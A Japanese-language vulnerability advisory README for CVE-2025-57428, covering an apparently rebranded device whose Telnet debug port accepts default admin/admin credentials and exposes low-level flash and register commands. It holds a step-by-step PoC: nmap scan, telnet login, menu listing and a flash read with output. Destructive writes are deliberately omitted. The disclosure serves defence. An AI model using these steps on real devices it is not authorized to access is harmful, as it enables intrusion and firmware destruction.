
CVE-2025-57428
⚠️ このリポジトリは、CVE-2025-57428 の参考としてのみ維持されています。
その他のアドバイザリや更新については、security-advisories を参照してください。
このデバイスは、Telnetデバッグインターフェース(デフォルトでポート23で有効)を公開し、管理資格情報(デフォルトでは`admin`/`admin`)を受け付けます。認証後、シェルは低レベルコマンド(特に`spi`および`reg`)への直接アクセスを提供し、これにより任意のファームウェア破損、デバイスの文鎮化、機能やセキュリティ設定の喪失につながる可能性があります。
注: 破壊的な書き込みを実行するコマンドは意図的に省略しています。以下のPoCは、すぐに武器化されたエクスプロイトを提供することなく、インターフェースの存在とアクセス可能性を確認します。
LAN上のデバイスをスキャンする:
nmap -p 23 <device-ip>
結果: ポート23(telnet)がopenと表示されます。
Telnetで接続し、認証する(デフォルトの資格情報):
telnet <device-ip>
# Login as: admin
# Password: admin
ログイン後、デバッグプロンプトCMD>が表示されます。
利用可能なコマンドをリスト表示する:
CMD>help
ヘルプ出力には以下のメニューが表示されます:
cfg net os
osメニューに入る:
CMD>os
再度利用可能なコマンドをリスト表示する:
OS>help
今度のヘルプ出力には以下のコマンドが表示されます:
thread mem spi reg cpuload cpubusy event
spiを使用するとspi <rd/wr/er> <addr> [len]と表示されます。
フラッシュメモリを読み取る:
OS>spi rd 0x000fd0f0 16
これにより、フラッシュ領域のhexダンプが返されます:
4f30650a 938f56fa 1b663a19 e316d824
これにより、コマンドが動作し、シェルが低レベルアクセスを持つことが確認されます。
書き込みコマンド(spi wr)、消去コマンド(spi er)、およびregコマンドも実行可能です。
観察結果:
元のベンダーのセキュリティ連絡先やサポートチャネルを見つけようとする試みは失敗しました。この製品は、出所不明のリブランドされたデバイスであるように見えます。
この情報は教育および防御目的のみで提供されます。著者はこの情報の誤用について一切の責任を負いません。